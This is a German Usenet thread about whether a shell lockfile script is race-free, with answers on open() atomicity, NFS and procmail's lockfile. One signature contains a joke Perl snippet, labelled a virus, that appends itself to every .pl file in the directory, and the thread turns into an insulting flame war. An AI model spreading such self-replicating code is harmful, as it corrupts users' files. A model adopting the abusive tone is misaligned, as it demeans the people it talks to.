[sh] Ist das _wirklich_ race-condition-frei?
Rudolf Polzer
Shell wirklich atomar? Oder ist es von der Shell abhängig - wenn ja, ist
es dann wenigstens in der bash atomar?
Im Prinzip will ich damit zwei ssh-Aufrufe, die ipchains auf dem Router
starten (erst prüfen, ob eine Regel da ist, und sie dann ggf.
entfernen), kapseln. Wenn das Skript, das für mich den ssh-Aufruf
erledigt, selbst das Locking verwendet, sollte es dann sogar sicher
sein.
rpolzer@www42:~/steffi/allow$ cat lock
#!/bin/sh
umask 0777
while (! (>.lock)) &> /dev/null; do
sleep 1;
done
rpolzer@www42:~/steffi/allow$ cat unlock
#!/bin/sh
rm -f .lock
Andere Frage: gibt es dafür bessere Methoden, die ohne ein zusätzliches
Programm im Hintergrund laufen (Pipe-Lösungen fallen daher weg)?
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
Peter J. Holzer
> Mir persönlich scheint das irgendwie zu einfach. Ist das '>.lock' der
> Shell wirklich atomar? Oder ist es von der Shell abhängig - wenn ja, ist
> es dann wenigstens in der bash atomar?
Das > wird zu einem einzelnen open Systemcall, der entweder funktioniert
oder nicht. Das müsste überall atomar sein.
> rpolzer@www42:~/steffi/allow$ cat lock
> #!/bin/sh
> umask 0777
> while (! (>.lock)) &> /dev/null; do
> sleep 1;
> done
Netter Trick, Ja, race-condition-frei ist es. Allerdings funktioniert es
überhaupt nicht, wenn das Script als root läuft.
> Andere Frage: gibt es dafür bessere Methoden, die ohne ein zusätzliches
> Programm im Hintergrund laufen (Pipe-Lösungen fallen daher weg)?
lockfile (ist bei procmail dabei) und ähnliche Programme, die im
wesentlichen ein open(..., O_CREAT|O_EXCL) machen.
hp
--
_ | Peter J. Holzer | "Create New" -> "CDROM Device"
|_|_) | Sysadmin WSR | resp. "Erzeuge Neu" -> "KDLNS Gerät"
| | | h...@hjp.at |
__/ | http://www.hjp.at/ | -- Daniel Tiefnig in al
Rudolf Polzer
> On 2002-04-14 14:05, Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> > Mir persönlich scheint das irgendwie zu einfach. Ist das '>.lock' der
> > Shell wirklich atomar? Oder ist es von der Shell abhängig - wenn ja, ist
> > es dann wenigstens in der bash atomar?
>
> Das > wird zu einem einzelnen open Systemcall, der entweder funktioniert
> oder nicht. Das müsste überall atomar sein.
Bei jeder Shell, bei der sh und bei der bash oder nur bei der bash? Auch
unter cygwin?
Klar ist es die einfachste Möglichkeit, das zu coden - wenn ein System
aber keine native Unterstützung für umask() und Zugriffsrechte in open()
hat, kann es Probleme geben.
> > rpolzer@www42:~/steffi/allow$ cat lock
> > #!/bin/sh
> > umask 0777
> > while (! (>.lock)) &> /dev/null; do
> > sleep 1;
> > done
>
> Netter Trick, Ja, race-condition-frei ist es. Allerdings funktioniert es
> überhaupt nicht, wenn das Script als root läuft.
Ist keine allzu große Einschränkung, weil man das Skript nach einem
'su nobody' aufrufen kann - aber das geht _nur_, wenn es als root läuft.
> > Andere Frage: gibt es dafür bessere Methoden, die ohne ein zusätzliches
> > Programm im Hintergrund laufen (Pipe-Lösungen fallen daher weg)?
>
> lockfile (ist bei procmail dabei) und ähnliche Programme, die im
> wesentlichen ein open(..., O_CREAT|O_EXCL) machen.
Wenn es bei procmail dabei ist, kann ich davon ausgehen, dass es so gut
wie jeder hat, und daher nutzen. Danke!
Felix von Leitner
> Das > wird zu einem einzelnen open Systemcall, der entweder funktioniert
> oder nicht. Das müsste überall atomar sein.
Nein. man NFS.
> lockfile (ist bei procmail dabei) und ähnliche Programme, die im
> wesentlichen ein open(..., O_CREAT|O_EXCL) machen.
Glücklicherweise ist lockfile von Leuten geschrieben worden, die sich
mit sowas besser auskennen als du.
Christian Parpart
>> lockfile (ist bei procmail dabei) und ähnliche Programme, die im
>> wesentlichen ein open(..., O_CREAT|O_EXCL) machen.
>
> Glücklicherweise ist lockfile von Leuten geschrieben worden, die sich
> mit sowas besser auskennen als du.
Ist dir nix freundlicheres eingefallen? Oder ist heute 1. April? Habe ich
den Osterhasen verschlafen? Oder hast du einfach nix ordentliches gesagt
(!).
Gluecklicherweise gibt es ja doch noch Menschen in dieser NG die sicherlich
eine qualifiziertere Antwort darauf haben (mich nicht).
MfG,
Christian.
Felix von Leitner
> >> lockfile (ist bei procmail dabei) und ähnliche Programme, die im
> >> wesentlichen ein open(..., O_CREAT|O_EXCL) machen.
> > Glücklicherweise ist lockfile von Leuten geschrieben worden, die sich
> > mit sowas besser auskennen als du.
> Ist dir nix freundlicheres eingefallen? Oder ist heute 1. April? Habe ich
> den Osterhasen verschlafen? Oder hast du einfach nix ordentliches gesagt
> (!).
> Gluecklicherweise gibt es ja doch noch Menschen in dieser NG die sicherlich
> eine qualifiziertere Antwort darauf haben (mich nicht).
Bist du völlig besoffen? Jemand fragte, bekam eine falsche Antwort, und
ich habe das richtig gestellt. Laufen hier _nur_ noch Hirnamputierte
herum? Willst du lieber, daß Falschaussagen hier stehen gelassen
werden, damit die Athmosphäre freundlicher wird? Das kann ja wohl alles
nicht wahr sein!
Komm, geh mal nach nebenan, zu microsoft.*, und trinke mit den dort
rumhängenden MCSE eine Runde Blümchentee auf der grünen Wiese. Hier
halten sich Leute auf, die ihre Zeit produktiv nutzen. Wenn das zu viel
für deine Konstitution ist, dann verzieh dich. Jetzt.
Stefan Heimann
> Thus spake Christian Parpart (cpar...@surakware.net):
>> >> lockfile (ist bei procmail dabei) und ähnliche Programme, die im
>> >> wesentlichen ein open(..., O_CREAT|O_EXCL) machen.
>> > Glücklicherweise ist lockfile von Leuten geschrieben worden, die sich
>> > mit sowas besser auskennen als du.
>> Ist dir nix freundlicheres eingefallen? Oder ist heute 1. April? Habe ich
>> den Osterhasen verschlafen? Oder hast du einfach nix ordentliches gesagt
>> (!).
>> Gluecklicherweise gibt es ja doch noch Menschen in dieser NG die sicherlich
>> eine qualifiziertere Antwort darauf haben (mich nicht).
>
> Bist du völlig besoffen? Jemand fragte, bekam eine falsche Antwort, und
> ich habe das richtig gestellt. Laufen hier _nur_ noch Hirnamputierte
> herum? Willst du lieber, daß Falschaussagen hier stehen gelassen
> werden, damit die Athmosphäre freundlicher wird? Das kann ja wohl alles
> nicht wahr sein!
Bist du ein Riesenvollidiot? "Jemand fragte, bekam eine falsche Antwort
und du hast in dumm angepflaumt", so musst es wohl eher heißen.
Du bist wirklich der arroganteste Ar*** dem ich je in einer Newsgroup
begegnet bin.
> Komm, geh mal nach nebenan, zu microsoft.*, und trinke mit den dort
> rumhängenden MCSE eine Runde Blümchentee auf der grünen Wiese. Hier
> halten sich Leute auf, die ihre Zeit produktiv nutzen. Wenn das zu viel
> für deine Konstitution ist, dann verzieh dich. Jetzt.
Naja, du scheinst deine Zeit nicht produktiv zu nutzen, da du dich mit
solchen sinnlosen Postings aufhälst.
Rudolf Polzer
> Felix von Leitner <usenet-...@fefe.de> wrote::
> > Thus spake Christian Parpart (cpar...@surakware.net):
> >> >> lockfile (ist bei procmail dabei) und ähnliche Programme, die im
> >> >> wesentlichen ein open(..., O_CREAT|O_EXCL) machen.
> >> > Glücklicherweise ist lockfile von Leuten geschrieben worden, die sich
> >> > mit sowas besser auskennen als du.
> >> Ist dir nix freundlicheres eingefallen? Oder ist heute 1. April? Habe ich
> >> den Osterhasen verschlafen? Oder hast du einfach nix ordentliches gesagt
> >> (!).
> >> Gluecklicherweise gibt es ja doch noch Menschen in dieser NG die sicherlich
> >> eine qualifiziertere Antwort darauf haben (mich nicht).
> >
> > Bist du völlig besoffen? Jemand fragte, bekam eine falsche Antwort, und
> > ich habe das richtig gestellt. Laufen hier _nur_ noch Hirnamputierte
> > herum? Willst du lieber, daß Falschaussagen hier stehen gelassen
> > werden, damit die Athmosphäre freundlicher wird? Das kann ja wohl alles
> > nicht wahr sein!
>
> Bist du ein Riesenvollidiot? "Jemand fragte, bekam eine falsche Antwort
> und du hast in dumm angepflaumt", so musst es wohl eher heißen.
Beides ist wahr. Genauer: er hat Christian angepflaumt, weil er eine
Unwahrheit hier verbreitet hat. Kann ich verstehen - mir persönlich
gefällt Felix' Diskussionsstil zwar auch nicht, aber man kann damit
leben. So ist er nun mal, und damit musst du dich abfinden oder ihn ins
Killfile stopfen. Ich habe mich für ersteres entschieden.
Schlimmer wäre es, wenn einer, der keine Ahnung hat, mit solchen
Manieren käme.
Fup2p gesetzt, da diese Metadiskussion hier irgendwie überflüssig ist.
Christian Parpart
> Thus spake Christian Parpart (cpar...@surakware.net):
Ich bin mir sicher Dich wohl falsch verstanden zu haben.
Wahrscheinlich verstehe ich (wie auch auf dein obiges Posting) unter dieser
Rethorik etwas anderes und habe dir das versucht mit gleichen Worten, auf
das aus meiner Sicht "unfreundliche", hinzuweisen.
Ich wollte Dich weder persoenlich angreifen noch irgendetwas anderes
unterstellen. Und wenn du das so verstanden hast, bitte ich hiermit um
Entschuldigung.
Danke,
Christian Parpart.
Peter J. Holzer
> Peter J. Holzer <hjp-u...@hjp.at> wrote:
>> On 2002-04-14 14:05, Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
>> > Mir persönlich scheint das irgendwie zu einfach. Ist das '>.lock' der
>> > Shell wirklich atomar? Oder ist es von der Shell abhängig - wenn ja, ist
>> > es dann wenigstens in der bash atomar?
>>
>> Das > wird zu einem einzelnen open Systemcall, der entweder funktioniert
>> oder nicht. Das müsste überall atomar sein.
>
> Bei jeder Shell, bei der sh und bei der bash oder nur bei der bash? Auch
> unter cygwin?
Von der Shell sollte das ziemlich unabhängig sein (außer Du hast eine,
die den Exit-Code nicht richtig setzt). Über Cygwin weiß ich nix. Ist
für mich kein Unix.
Rudolf Polzer
> On 2002-04-14 20:49, Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> > Peter J. Holzer <hjp-u...@hjp.at> wrote:
> >> On 2002-04-14 14:05, Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> >> > Mir persönlich scheint das irgendwie zu einfach. Ist das '>.lock' der
> >> > Shell wirklich atomar? Oder ist es von der Shell abhängig - wenn ja, ist
> >> > es dann wenigstens in der bash atomar?
> >>
> >> Das > wird zu einem einzelnen open Systemcall, der entweder funktioniert
> >> oder nicht. Das müsste überall atomar sein.
> >
> > Bei jeder Shell, bei der sh und bei der bash oder nur bei der bash? Auch
> > unter cygwin?
>
> Von der Shell sollte das ziemlich unabhängig sein (außer Du hast eine,
> die den Exit-Code nicht richtig setzt). Über Cygwin weiß ich nix. Ist
> für mich kein Unix.
Naja, es wurde ja bereits gesagt, dass dieses open() ohnehin nur auf
lokalen Volumes atomar ist - wenn überhaupt. Damit ist die Frage ohnehin
irrelevant geworden.
EOT